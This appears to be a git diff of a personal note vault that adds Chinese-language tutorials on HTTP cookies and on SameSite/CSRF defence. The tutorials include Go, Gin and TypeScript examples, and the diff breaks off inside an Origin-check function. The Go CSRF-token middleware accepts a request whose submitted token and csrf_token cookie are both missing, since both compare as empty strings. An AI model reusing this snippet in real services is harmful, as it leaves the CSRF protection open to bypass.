vault backup: 2026-05-24 00:01:12
This commit is contained in:
@@ -831,6 +831,6 @@ quadrantChart
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/DEV/OAuth2与MFA/OAuth2-and-MFA]]
|
||||
- [[OAuth2-and-MFA]]
|
||||
- [[hhs/DEV/Security/Basics/RSA-and-ECC]]
|
||||
- [[hhs/DEV/Security/JWT-Deep-Dive]]
|
||||
|
||||
@@ -0,0 +1,477 @@
|
||||
---
|
||||
tags: [Cookie, HTTP, session, web-security, authentication, backend, frontend]
|
||||
create time: 2026-05-22 10:00
|
||||
---
|
||||
|
||||
# Cookie — HTTP 状态管理机制
|
||||
|
||||
## 概述
|
||||
|
||||
Cookie 是浏览器提供的一种**客户端状态存储机制**,最初由 Netscape 在 1994 年提出,现由 RFC 6265 标准化。它的核心使命很简单:让无状态的 HTTP 协议能够"记住"用户——浏览器在每次请求时自动附带 Cookie,服务端据此识别身份、维持会话。
|
||||
|
||||
> [!tip] Cookie ≠ Session ≠ JWT
|
||||
> 这三个概念经常被混为一谈,但它们解决的是不同层面的问题:
|
||||
> - **Cookie**:存储与传输机制(浏览器行为)
|
||||
> - **Session**:服务端会话管理策略
|
||||
> - **JWT**:令牌数据格式(一种数据结构)
|
||||
>
|
||||
> 三者可以任意组合,也可以独立使用。
|
||||
|
||||
> [!question] 思考
|
||||
> 如果 HTTP 天生无状态,那"登录后跳转页面不用重新登录"这个体验是怎么实现的?
|
||||
> —— 答案就是 Cookie。登录成功后服务端通过 `Set-Cookie` 响应头在浏览器种下一个标识,后续每次请求浏览器自动带上这个标识,服务端一看就知道"哦,是你"。
|
||||
|
||||
## Cookie 的本质
|
||||
|
||||
### 结构
|
||||
|
||||
一个 Cookie 本质上就是一个 **键值对**,附带一组控制其行为的属性:
|
||||
|
||||
```
|
||||
name=value; Domain=example.com; Path=/; Expires=Thu, 01 Jan 2027 00:00:00 GMT; HttpOnly; Secure; SameSite=Lax
|
||||
```
|
||||
|
||||
| 属性 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `name=value` | 键值对,Cookie 的核心数据 | — |
|
||||
| `Domain` | Cookie 所属域名,子域自动继承 | 当前域 |
|
||||
| `Path` | Cookie 生效的 URL 路径前缀 | `/` |
|
||||
| `Expires` / `Max-Age` | 过期时间或存活时长 | 会话结束即失效 |
|
||||
| `HttpOnly` | 禁止 JavaScript 访问 | `false` |
|
||||
| `Secure` | 仅在 HTTPS 下传输 | `false` |
|
||||
| `SameSite` | 跨站请求限制策略 | 浏览器各异(见子文档) |
|
||||
|
||||
> [!warning] 大小限制
|
||||
> 单个 Cookie 的大小上限约 **4KB**(含所有属性),每个域名下通常限制 **~50 个** Cookie。如果需要存储大量数据,应该用服务端 Session 或数据库,而不是往 Cookie 里塞。
|
||||
|
||||
### 会话 Cookie vs 持久 Cookie
|
||||
|
||||
| 类型 | 持久性 | 典型场景 |
|
||||
|------|--------|----------|
|
||||
| **会话 Cookie** | 浏览器关闭即删除(无 `Expires`/`Max-Age`) | 临时状态、一次性提示 |
|
||||
| **持久 Cookie** | 存活至过期时间 | "记住我"、用户偏好 |
|
||||
|
||||
### Cookie 前缀:`__Host-` 与 `__Secure-`
|
||||
|
||||
Cookie 名称可以带前缀来**强制约束安全属性**。浏览器看到这些前缀时,会校验对应属性是否满足要求,不满足则直接拒绝写入——相当于"编译期"安全检查。
|
||||
|
||||
| 前缀 | 强制要求 | 效果 |
|
||||
|------|----------|------|
|
||||
| `__Secure-` | 必须设 `Secure`(HTTPS) | 确保该 Cookie 永远不会通过 HTTP 明文传输 |
|
||||
| `__Host-` | 必须设 `Secure` + `Path=/` + **不能设 `Domain`** | 除了 HTTPS 限制外,还锁定到当前主机,防止子域覆盖攻击 |
|
||||
|
||||
```
|
||||
# 合法
|
||||
Set-Cookie: __Host-session_id=abc123; Secure; Path=/
|
||||
|
||||
# 非法(设了 Domain,浏览器拒绝)
|
||||
Set-Cookie: __Host-session_id=abc123; Secure; Path=/; Domain=example.com
|
||||
|
||||
# 非法(没设 Secure,浏览器拒绝)
|
||||
Set-Cookie: __Secure-token=xyz; Path=/
|
||||
```
|
||||
|
||||
> [!question] 为什么 `__Host-` 禁止设 `Domain`?
|
||||
> 设了 `Domain=.example.com` 后,子域 `evil.example.com` 可以覆盖掉 `example.com` 上的同名 Cookie——这是**子域 Cookie 注入**攻击。`__Host-` 前缀通过禁止 `Domain` 来彻底杜绝此类问题。
|
||||
|
||||
> [!tip] 前缀是防御纵深的一部分
|
||||
> 即使你的代码没写 `Secure`,只要用了 `__Host-` 前缀,浏览器会帮你挡住。在团队协作中,这是一种"防呆"机制——不是每个人都记得加安全属性,但前缀可以强制保证。
|
||||
|
||||
## HTTP 流程
|
||||
|
||||
理解 Cookie 的关键是搞清楚它在 HTTP 层面是怎么流转的:
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant B as Browser
|
||||
participant S as Server
|
||||
|
||||
Note over B: 首次访问(无 Cookie)
|
||||
B->>S: GET /login
|
||||
S-->>B: 200 OK + Set-Cookie: session_id=abc123; HttpOnly; Secure
|
||||
|
||||
Note over B: 浏览器自动存储 Cookie
|
||||
B->>B: 存储 session_id=abc123
|
||||
|
||||
Note over B: 后续请求自动携带
|
||||
B->>S: GET /dashboard (Cookie: session_id=abc123)
|
||||
S->>S: 读取 Cookie,识别用户
|
||||
S-->>B: 200 OK(个性化内容)
|
||||
|
||||
Note over B: 登出,服务端清除 Cookie
|
||||
B->>S: POST /logout
|
||||
S-->>B: 200 OK + Set-Cookie: session_id=; Max-Age=0
|
||||
B->>B: 浏览器删除 Cookie
|
||||
```
|
||||
|
||||
> [!note] 关键机制
|
||||
> Cookie 的核心设计在于**浏览器自动管理**:收到 `Set-Cookie` 后自动存储,后续请求同域名时自动附加到 `Cookie` 头——开发者不需要手动处理传输。这是它和 `Authorization` 头(JWT 常用方式)的根本区别。
|
||||
|
||||
### 跨域 Cookie 与 CORS
|
||||
|
||||
在前后端分离的架构中,前端 `api.example.com` 请求后端 `backend.example.com` 是**跨域请求**。浏览器的同源策略默认不允许跨域发送 Cookie,需要 CORS 配合:
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant F as "前端 api.example.com"
|
||||
participant B as "后端 backend.example.com"
|
||||
|
||||
Note over F: "fetch credentials include"
|
||||
F->>B: "OPTIONS /api/data"
|
||||
Note over B: "Access-Control-Allow-Origin: https://api.example.com"
|
||||
Note over B: "Access-Control-Allow-Credentials: true"
|
||||
B-->>F: "204 No Content"
|
||||
|
||||
F->>B: "GET /api/data Cookie: session_id=abc123"
|
||||
B-->>F: "200 OK"
|
||||
```
|
||||
|
||||
服务端关键响应头:
|
||||
|
||||
```
|
||||
Access-Control-Allow-Origin: https://api.example.com # 不能用 *,必须指定域名
|
||||
Access-Control-Allow-Credentials: true # 允许携带凭证
|
||||
```
|
||||
|
||||
前端对应的请求配置:
|
||||
|
||||
```typescript
|
||||
// fetch API
|
||||
fetch("https://backend.example.com/api/data", {
|
||||
credentials: "include", // 关键:跨域请求也带 Cookie
|
||||
});
|
||||
|
||||
// axios 全局配置
|
||||
axios.defaults.withCredentials = true;
|
||||
```
|
||||
|
||||
> [!warning] `Allow-Origin: *` 和 `Allow-Credentials: true` 不能同时出现
|
||||
> 当 `credentials: "include"` 时,`Access-Control-Allow-Origin` 不能设为通配符 `*`——这是 CORS 规范的硬性约束。服务端必须回显请求头中的 `Origin` 值(注意:只允许白名单中的域)。
|
||||
|
||||
> [!question] 为什么 `localhost:3000` 请求 `localhost:8080` 也报 CORS 错误?
|
||||
> 浏览器的同源策略看的是 **协议 + 域名 + 端口** 三元组。即使域名相同,端口不同(3000 vs 8080)也算跨域。开发环境的 proxy(如 Vite 的 `server.proxy`)之所以能解决这个问题,是因为它把请求代理到了同一个源,请求根本没离开浏览器的同源范围。
|
||||
|
||||
## 服务端操作(Go)
|
||||
|
||||
### 标准库:读写 Cookie
|
||||
|
||||
```go
|
||||
import "net/http"
|
||||
|
||||
// 写入 Cookie
|
||||
func setCookieHandler(w http.ResponseWriter, r *http.Request) {
|
||||
http.SetCookie(w, &http.Cookie{
|
||||
Name: "session_id",
|
||||
Value: "abc123",
|
||||
Path: "/",
|
||||
Domain: "example.com",
|
||||
MaxAge: 3600 * 24, // 24 小时
|
||||
HttpOnly: true, // 防 XSS
|
||||
Secure: true, // 仅 HTTPS
|
||||
SameSite: http.SameSiteLaxMode,
|
||||
})
|
||||
}
|
||||
|
||||
// 读取 Cookie
|
||||
func getCookieHandler(w http.ResponseWriter, r *http.Request) {
|
||||
cookie, err := r.Cookie("session_id")
|
||||
if err != nil {
|
||||
http.Error(w, "session not found", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// cookie.Value 即为 "abc123"
|
||||
}
|
||||
|
||||
// 删除 Cookie(将 MaxAge 设为负数)
|
||||
func deleteCookieHandler(w http.ResponseWriter, r *http.Request) {
|
||||
http.SetCookie(w, &http.Cookie{
|
||||
Name: "session_id",
|
||||
Value: "",
|
||||
MaxAge: -1, // 立即删除
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
> [!tip] 读取失败的常见原因
|
||||
> `r.Cookie()` 返回 `http.ErrNoCookie` 时,说明该 Cookie 不存在。但更隐蔽的问题是:Cookie 设了 `Domain=".example.com"` 但你在 `localhost` 测试——跨域的 Cookie 不会被浏览器存储。开发环境记得不要设 `Domain`。
|
||||
|
||||
### Gin 框架
|
||||
|
||||
Gin 对 Cookie 做了简单封装:
|
||||
|
||||
```go
|
||||
// 写入
|
||||
c.SetCookie("session_id", "abc123", 86400, "/", "example.com", true, true)
|
||||
|
||||
// 读取
|
||||
val, err := c.Cookie("session_id")
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(401, gin.H{"error": "unauthorized"})
|
||||
return
|
||||
}
|
||||
|
||||
// 删除
|
||||
c.SetCookie("session_id", "", -1, "/", "", false, false)
|
||||
```
|
||||
|
||||
> [!question] 标准库 vs Gin,什么时候用哪个?
|
||||
> 如果你用的是 Gin 框架,当然直接用 `c.SetCookie()` / `c.Cookie()`,没必要引入标准库的 `http.SetCookie`。但如果你用的是其他框架(Echo、Fiber、Chi),它们对 Cookie 的封装方式各不相同,而底层都依赖 `net/http` 的 `http.Cookie` 结构体——掌握标准库的写法,换个框架也能无缝上手。
|
||||
|
||||
### Cookie 存 Session ID:完整流程
|
||||
|
||||
这是 Cookie 最经典的用法——配合服务端 Session:
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A["用户登录 POST login"] --> B{"凭据正确"}
|
||||
B -->|"是"| C["生成 session_id = random UUID"]
|
||||
C --> D["存储到 Redis, session_id 映射用户信息"]
|
||||
D --> E["Set-Cookie: session_id=xxx; HttpOnly"]
|
||||
E --> F["返回登录成功"]
|
||||
|
||||
B -->|"否"| G["返回 401"]
|
||||
|
||||
H["后续请求 GET api/user"] --> I["浏览器自动带 Cookie"]
|
||||
I --> J["读取 session_id"]
|
||||
J --> K{"Redis 中存在"}
|
||||
K -->|"是"| L["取出用户信息, 放行"]
|
||||
K -->|"否"| M["返回 401"]
|
||||
```
|
||||
|
||||
Go + Redis 实现:
|
||||
|
||||
```go
|
||||
import "github.com/google/uuid"
|
||||
|
||||
func LoginHandler(c *gin.Context) {
|
||||
// ... 校验用户名密码 ...
|
||||
|
||||
// 生成 Session ID
|
||||
sessionID := uuid.New().String()
|
||||
|
||||
// 存入 Redis,设置过期时间
|
||||
redis.Set(ctx, "session:"+sessionID, userID, 24*time.Hour)
|
||||
|
||||
// 种到 Cookie
|
||||
c.SetCookie("session_id", sessionID, 86400, "/", "", true, true)
|
||||
c.JSON(200, gin.H{"message": "login success"})
|
||||
}
|
||||
|
||||
func AuthMiddleware() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
sessionID, err := c.Cookie("session_id")
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(401, gin.H{"error": "no session"})
|
||||
return
|
||||
}
|
||||
|
||||
userID, err := redis.Get(ctx, "session:"+sessionID).Result()
|
||||
if err != nil {
|
||||
c.AbortWithStatusJSON(401, gin.H{"error": "session expired"})
|
||||
return
|
||||
}
|
||||
|
||||
c.Set("userID", userID)
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 客户端操作(React / TypeScript)
|
||||
|
||||
> [!warning] 不要用 JS 操作 HttpOnly Cookie
|
||||
> `HttpOnly` 标记的 Cookie 无法被 `document.cookie` 读取——这正是它的安全价值。前端代码中能读写的只有**非 HttpOnly** 的 Cookie(如语言偏好、主题设置等)。涉及认证的 Cookie 应始终设为 `HttpOnly`,由后端控制。
|
||||
|
||||
```typescript
|
||||
// 读取非 HttpOnly 的 Cookie(如用户偏好)
|
||||
function getCookie(name: string): string | null {
|
||||
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
|
||||
return match ? decodeURIComponent(match[2]) : null;
|
||||
}
|
||||
|
||||
// 写入 Cookie
|
||||
function setCookie(name: string, value: string, days: number) {
|
||||
const expires = new Date(Date.now() + days * 864e5).toUTCString();
|
||||
document.cookie = `${name}=${encodeURIComponent(value)}; expires=${expires}; path=/; SameSite=Lax`;
|
||||
}
|
||||
|
||||
// 删除 Cookie
|
||||
function deleteCookie(name: string) {
|
||||
document.cookie = `${name}=; Max-Age=0; path=/`;
|
||||
}
|
||||
```
|
||||
|
||||
> [!note] 前端认证的典型模式
|
||||
> 如果使用 Cookie 做认证(而非 `Authorization` 头 + JWT),前端**不需要手动操作认证 Cookie**。只要后端登录接口种好了 `HttpOnly` Cookie,后续所有 `fetch` / `axios` 请求会自动携带:
|
||||
>
|
||||
> ```typescript
|
||||
> // withCredentials 让跨域请求也带上 Cookie
|
||||
> axios.defaults.withCredentials = true;
|
||||
> ```
|
||||
>
|
||||
> 前端唯一要做的就是确保请求配置正确,认证流程完全由浏览器 + 后端完成。
|
||||
|
||||
> [!question] 为什么有时候浏览器"明明有 Cookie"却不发送?
|
||||
> 常见原因排查清单:
|
||||
> 1. **跨域请求没设 `credentials: "include"`**——同域自动带,跨域需要显式声明
|
||||
> 2. **`Domain` 设错了**——比如后端在 `.example.com` 种了 Cookie,但前端跑在 `localhost`
|
||||
> 3. **`SameSite=Strict`** 且请求来自其他站点——`Lax` 允许顶级导航,`Strict` 连顶级导航也不发
|
||||
> 4. **`Secure` 但用了 HTTP**——本地开发最容易踩的坑
|
||||
>
|
||||
> 这些问题在开发环境中很常见,尤其当后端用 `.localhost` 或 IP 地址时。遇到"Cookie 消失"时,**打开 DevTools → Application → Cookies** 逐项检查属性,比看代码有效 10 倍。
|
||||
|
||||
## 安全机制
|
||||
|
||||
Cookie 的安全问题本质上围绕两个攻击面:**XSS(跨站脚本)** 和 **CSRF(跨站请求伪造)**。
|
||||
|
||||
### 防御 XSS:HttpOnly + Secure
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph XSS_Attack["XSS 攻击流程"]
|
||||
A["恶意脚本注入页面"] --> B["JS 读取认证 Cookie"]
|
||||
B --> C["发送到攻击者服务器"]
|
||||
end
|
||||
|
||||
subgraph Defense["防御"]
|
||||
D["HttpOnly, JS 无法读取 Cookie"]
|
||||
E["Secure, 仅 HTTPS 传输"]
|
||||
F["输入转义, 从源头阻止注入"]
|
||||
end
|
||||
```
|
||||
|
||||
| 属性 | 防御效果 | 设置建议 |
|
||||
|------|----------|----------|
|
||||
| `HttpOnly` | 阻止 JS 读取,XSS 无法窃取 Cookie | 认证类 Cookie **必须** 设置 |
|
||||
| `Secure` | 仅 HTTPS 传输,防止中间人截获 | 生产环境 **必须** 设置 |
|
||||
| CSP 头 | 限制页面可执行的脚本来源 | 配合使用,多一层防护 |
|
||||
|
||||
### 防御 CSRF
|
||||
|
||||
CSRF 的本质:浏览器会自动带上目标域的 Cookie,攻击者借此伪造用户请求。
|
||||
|
||||
详细的 SameSite 属性解析和 CSRF 攻防策略,见 → [[SameSite 与 CSRF 防护]]
|
||||
|
||||
> [!question] 为什么 JWT + `Authorization` 天然防 CSRF?
|
||||
> 因为 `Authorization` 头不是浏览器自动发送的——它需要 JS 代码显式设置。而 CSRF 攻击依赖的是浏览器自动携带 Cookie 这一行为。没有自动携带,就没有 CSRF。但代价是:JWT 需要前端手动管理令牌的存储和注入。
|
||||
|
||||
### Partitioned Cookie(CHIPS)
|
||||
|
||||
自 2024 年起,Chrome 逐步淘汰**第三方 Cookie**(即跨站 Cookie),这一趋势已在 2025-2026 年全面落地。它直接影响嵌入式场景:支付回调、第三方登录、`<iframe>` 嵌入等。
|
||||
|
||||
**问题本质**:在 `site-a.com` 的页面里嵌入 `analytics.com` 的资源,浏览器会带上 `analytics.com` 的 Cookie——这种跨站携带行为既支持了合法场景,也被用于跨站追踪。
|
||||
|
||||
**解决方案**:`Partitioned` 属性,让 Cookie 按**顶级站点**隔离存储:
|
||||
|
||||
```
|
||||
# 传统方式:analytics.com 的 Cookie 在所有嵌入它的站点间共享
|
||||
Set-Cookie: track_id=abc123; SameSite=None; Secure
|
||||
|
||||
# Partitioned:Cookie 按 site-a.com 和 site-b.com 分别隔离
|
||||
Set-Cookie: track_id=abc123; SameSite=None; Secure; Partitioned
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph Traditional["传统第三方 Cookie"]
|
||||
A["site-a.com 嵌入 analytics.com"] --> C["共享同一份 Cookie"]
|
||||
B["site-b.com 嵌入 analytics.com"] --> C
|
||||
end
|
||||
|
||||
subgraph Partitioned["Partitioned Cookie (CHIPS)"]
|
||||
D["site-a.com 嵌入 analytics.com"] --> E["独立 Cookie 分区 site-a.com"]
|
||||
F["site-b.com 嵌入 analytics.com"] --> G["独立 Cookie 分区 site-b.com"]
|
||||
end
|
||||
```
|
||||
|
||||
> [!tip] 什么时候需要关注 CHIPS?
|
||||
> 如果你的系统有**跨站 Cookie 需求**(如 SSO 单点登录、嵌入式支付、跨站 `<iframe>`),且目标用户使用 Chrome 115+,就必须加上 `Partitioned`。同站应用不受影响。这是向后兼容的——不支持的浏览器会忽略这个属性。
|
||||
|
||||
## 对比与选型
|
||||
|
||||
### Cookie vs localStorage vs sessionStorage
|
||||
|
||||
| 维度 | Cookie | localStorage | sessionStorage |
|
||||
|------|--------|-------------|----------------|
|
||||
| 容量 | ~4KB | ~5MB | ~5MB |
|
||||
| 自动发送 | ✅ 每次请求自动携带 | ❌ | ❌ |
|
||||
| 服务端可读 | ✅ | ❌ | ❌ |
|
||||
| JS 访问 | 受限(HttpOnly 不可读) | ✅ | ✅ |
|
||||
| 过期策略 | 可设过期时间 | 永久(手动删除) | 标签页关闭即失效 |
|
||||
| 安全性 | HttpOnly + Secure 较高 | 易被 XSS 读取 | 易被 XSS 读取 |
|
||||
|
||||
> [!info] 选型决策树
|
||||
>
|
||||
> - **认证令牌** → `HttpOnly` + `Secure` Cookie(最安全)或 `Authorization` 头 + 内存存储(次安全)
|
||||
> - **用户偏好设置**(语言、主题)→ 普通 Cookie 或 `localStorage`
|
||||
> - **临时表单数据** → `sessionStorage`
|
||||
> - **大量缓存数据** → `localStorage`(注意容量上限)
|
||||
|
||||
### Session vs JWT:认证架构选型
|
||||
|
||||
| 维度 | Session + Cookie | JWT(无状态令牌) |
|
||||
|------|------------------|-------------------|
|
||||
| **状态存储** | 服务端(Redis / DB) | 客户端(令牌自包含) |
|
||||
| **水平扩展** | 需要共享 Session 存储(Redis 集群) | 天然支持——任何节点都能独立验签 |
|
||||
| **吊销能力** | 直接删除 Session 即失效 | 难——Token 签发后无法主动撤销(需黑名单) |
|
||||
| **服务端开销** | 每次请求查 Redis | 只需 CPU 验签(极轻量) |
|
||||
| **负载大小** | Cookie 仅传 ~36B UUID | JWT 通常 500B~1KB(含 payload + 签名) |
|
||||
| **适用场景** | 传统 Web、对吊销要求高 | 微服务、跨域 API、移动端 |
|
||||
|
||||
> [!question] JWT "无状态" 是真的无状态吗?
|
||||
> 严格来说,JWT 只是**不需要服务端存储会话数据**,但它仍然有状态——用户角色变更了怎么办?Token 被盗了怎么办?这些场景下你需要维护一个**黑名单**(通常存在 Redis 里),这时 JWT 又变成了"有状态"的。
|
||||
>
|
||||
> 所以"无状态"是一种**理想模型**。在生产环境中,纯无状态 JWT 很少见,通常还是会搭配一个轻量级的 Token 黑名单或版本号机制。不要被"无状态"的字面意思误导了。
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A["认证需求"] --> B{"需要随时强制下线"}
|
||||
B -->|"是"| C["Session + Cookie"]
|
||||
B -->|"否"| D{"微服务, 跨域多"}
|
||||
D -->|"是"| E["JWT + Authorization 头"]
|
||||
D -->|"否"| F{"需要极低延迟"}
|
||||
F -->|"是"| E
|
||||
F -->|"否"| C
|
||||
|
||||
C --> C1["Redis 存 Session"]
|
||||
E --> E1["签名验签"]
|
||||
E --> E2["可选: Redis 黑名单"]
|
||||
|
||||
style C fill:#e8f4f8
|
||||
style E fill:#fde8e8
|
||||
```
|
||||
|
||||
### Cookie vs JWT 传输
|
||||
|
||||
这不是二选一,而是**两种组合策略**:
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A["认证方案选择"] --> B{"你的架构"}
|
||||
B -->|"前后端分离 SPA"| C["JWT + Authorization 头"]
|
||||
B -->|"传统 Web, SSR"| D["Session ID + Cookie"]
|
||||
|
||||
C --> C1["前端手动管理令牌"]
|
||||
C --> C2["天然防 CSRF"]
|
||||
C --> C3["需防 XSS 窃取 localStorage"]
|
||||
|
||||
D --> D1["浏览器自动管理"]
|
||||
D --> D2["需防 CSRF 攻击"]
|
||||
D --> D3["HttpOnly 防 XSS"]
|
||||
|
||||
style C fill:#e8f4f8
|
||||
style D fill:#fde8e8
|
||||
```
|
||||
|
||||
> [!tip] 最佳实践:两者结合
|
||||
> 现代生产环境最常用的策略是**混合模式**:
|
||||
> - **Access Token(JWT)**:短生命周期(15 分钟),存 `Authorization` 头,用于 API 调用
|
||||
> - **Refresh Token**:长生命周期(7 天),存 `HttpOnly` + `Secure` + `SameSite=Strict` Cookie,仅用于刷新 Access Token
|
||||
>
|
||||
> 这样既享受了 JWT 的无状态优势,又利用了 Cookie 的安全特性。
|
||||
|
||||
## 关联笔记
|
||||
|
||||
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程
|
||||
- [[JWT vs Cookie]] — JWT 与 Cookie 认证方案全景对比
|
||||
- [[SameSite 与 CSRF 防护]] — SameSite 属性详解与 CSRF 攻防
|
||||
@@ -0,0 +1,244 @@
|
||||
---
|
||||
tags: [Cookie, CSRF, SameSite, web-security, CORS]
|
||||
create time: 2026-05-22 10:00
|
||||
---
|
||||
|
||||
# SameSite 与 CSRF 防护
|
||||
|
||||
## 概述
|
||||
|
||||
`SameSite` 是 Cookie 的一个安全属性,用来控制浏览器在**跨站请求**中是否发送 Cookie。它是防御 CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击最直接的手段——不需要额外的 Token,不需要检查 Origin 头,只需要一个 Cookie 属性就能从浏览器层面阻断攻击。
|
||||
|
||||
> [!question] 什么是 CSRF?
|
||||
> 想象你登录了银行网站 `bank.com`,浏览器里存着银行的认证 Cookie。此时你打开了一个恶意网站 `evil.com`,该页面偷偷向 `bank.com/api/transfer` 发了一个 POST 请求——由于浏览器会自动带上 `bank.com` 的 Cookie,银行服务器以为是你本人操作,转账就成功了。
|
||||
>
|
||||
> **你什么都没点,钱就没了。** 这就是 CSRF。
|
||||
|
||||
## SameSite 三个值
|
||||
|
||||
### 一图总览
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph Origin["当前页面 origin.com"]
|
||||
A["发起请求"]
|
||||
end
|
||||
|
||||
A --> B{"SameSite 设置?"}
|
||||
B -->|"Strict"| C["跨站请求不发送 Cookie"]
|
||||
B -->|"Lax"| D["顶级导航 GET 发送,其他不发送"]
|
||||
B -->|"None"| E["所有请求都发送(必须 Secure)"]
|
||||
|
||||
style C fill:#c8e6c9
|
||||
style D fill:#fff9c4
|
||||
style E fill:#ffcdd2
|
||||
```
|
||||
|
||||
### Strict — 最严格
|
||||
|
||||
```http
|
||||
Set-Cookie: session_id=abc; SameSite=Strict; Secure; HttpOnly
|
||||
```
|
||||
|
||||
**行为**:只有从本站发起的请求才会携带 Cookie。即使是用户点击外部链接跳转进来,第一次请求也不带 Cookie。
|
||||
|
||||
**优点**:CSRF 彻底无效。
|
||||
**缺点**:用户体验差——从搜索引擎或书签点击链接进入网站时,用户会发现"明明之前登录了,怎么要重新登录?"
|
||||
|
||||
> [!note] 适用场景
|
||||
> 高敏感操作的保护,比如银行后台管理、密码修改页面。可以只在这些路由的 Cookie 上设 `Strict`。
|
||||
|
||||
### Lax — 平衡之选(浏览器默认)
|
||||
|
||||
```http
|
||||
Set-Cookie: session_id=abc; SameSite=Lax; Secure; HttpOnly
|
||||
```
|
||||
|
||||
**行为**:
|
||||
|
||||
| 请求方式 | 同站请求 | 跨站请求 |
|
||||
|----------|----------|----------|
|
||||
| `<a>` 链接跳转(GET) | ✅ 发送 | ✅ 发送 |
|
||||
| `<form>` 提交(POST) | ✅ 发送 | ❌ 不发送 |
|
||||
| `fetch` / `XMLHttpRequest` | ✅ 发送 | ❌ 不发送 |
|
||||
| `<img>` / `<iframe>` 嵌入 | ✅ 发送 | ❌ 不发送 |
|
||||
|
||||
**核心逻辑**:只允许"顶级导航 + GET"的跨站请求携带 Cookie。这意味着用户点击链接跳转到你的网站是 OK 的,但恶意网站通过表单提交或 AJAX 发起的 POST/PUT/DELETE 请求不会带 Cookie。
|
||||
|
||||
> [!tip] 为什么 Lax 是默认值?
|
||||
> `Strict` 太严影响正常体验,`None` 完全不防护。`Lax` 在安全和可用性之间取得了最佳平衡:用户从外部链接正常跳转不受影响,而 CSRF 攻击中常见的跨站 POST/PUT 请求被阻断。Chrome 从 2020 年起将 `Lax` 作为未显式设置 `SameSite` 时的默认值。
|
||||
|
||||
### None — 完全开放(必须配合 Secure)
|
||||
|
||||
```http
|
||||
Set-Cookie: session_id=abc; SameSite=None; Secure
|
||||
```
|
||||
|
||||
**行为**:所有请求(无论同站跨站)都发送 Cookie。
|
||||
|
||||
**注意**:使用 `None` **必须同时设置 `Secure`**,否则浏览器会拒绝该 Cookie。这是 Chrome 80+ 的强制要求。
|
||||
|
||||
> [!warning] 什么时候需要 None?
|
||||
> 只有在你确实需要跨站发送 Cookie 的场景下才用 `None`,典型情况:
|
||||
> - 第三方嵌入的支付组件(Stripe、PayPal)
|
||||
> - 跨域单点登录(SSO)
|
||||
> - 嵌入式 iframe 中需要认证的组件
|
||||
>
|
||||
> 使用 `None` 时**必须**配合其他 CSRF 防护手段(CSRF Token、Origin 检查等)。
|
||||
|
||||
## CSRF 攻防详解
|
||||
|
||||
### 攻击方式
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant U as 用户
|
||||
participant B as 浏览器
|
||||
participant Bank as bank.com
|
||||
participant Evil as evil.com
|
||||
|
||||
U->>Bank: 1. 登录成功,浏览器存储认证 Cookie
|
||||
U->>Evil: 2. 访问恶意网站
|
||||
Evil->>Evil: 3. 构造恶意请求(隐藏表单 / JS fetch)
|
||||
Evil->>B: 4. 触发向 bank.com 的请求
|
||||
B->>Bank: 5. 自动携带 bank.com 的 Cookie
|
||||
Bank-->>B: 6. 以为是合法请求,执行操作
|
||||
Note over U: 用户毫不知情,资产已被转移
|
||||
```
|
||||
|
||||
### 防御方案
|
||||
|
||||
#### 方案一:SameSite Cookie(首选)
|
||||
|
||||
```http
|
||||
Set-Cookie: session_id=abc; SameSite=Lax; Secure; HttpOnly
|
||||
```
|
||||
|
||||
简单直接,无需服务端额外逻辑。`Lax` 已经阻断了绝大多数 CSRF 攻击向量。
|
||||
|
||||
#### 方案二:CSRF Token(传统方案)
|
||||
|
||||
服务端生成一个随机 Token,嵌入到表单中,提交时验证:
|
||||
|
||||
```go
|
||||
// 生成 CSRF Token
|
||||
func GenerateCSRFToken() string {
|
||||
token := make([]byte, 32)
|
||||
rand.Read(token)
|
||||
return base64.URLEncoding.EncodeToString(token)
|
||||
}
|
||||
|
||||
// 中间件:验证 CSRF Token
|
||||
func CSRFProtection() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
if c.Request.Method == "GET" {
|
||||
c.Next() // GET 请求不校验
|
||||
return
|
||||
}
|
||||
|
||||
// 方式一:从请求头获取(前端 JS 注入)
|
||||
token := c.GetHeader("X-CSRF-Token")
|
||||
// 方式二:从表单字段获取
|
||||
if token == "" {
|
||||
token = c.PostForm("_csrf")
|
||||
}
|
||||
|
||||
sessionToken, _ := c.Cookie("csrf_token")
|
||||
if token != sessionToken {
|
||||
c.AbortWithStatusJSON(403, gin.H{"error": "CSRF token mismatch"})
|
||||
return
|
||||
}
|
||||
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```tsx
|
||||
// React:在请求头中注入 CSRF Token
|
||||
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content');
|
||||
|
||||
axios.interceptors.request.use((config) => {
|
||||
if (config.method !== 'get') {
|
||||
config.headers['X-CSRF-Token'] = csrfToken;
|
||||
}
|
||||
return config;
|
||||
});
|
||||
```
|
||||
|
||||
> [!note] CSRF Token 的原理
|
||||
> 攻击者可以构造请求,但**无法读取**目标网站的页面内容(受同源策略保护)。所以攻击者拿不到嵌入在页面中的 CSRF Token,也就无法通过验证。
|
||||
|
||||
#### 方案三:检查 Origin / Referer 头
|
||||
|
||||
```go
|
||||
func OriginCheck() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
origin := c.GetHeader("Origin")
|
||||
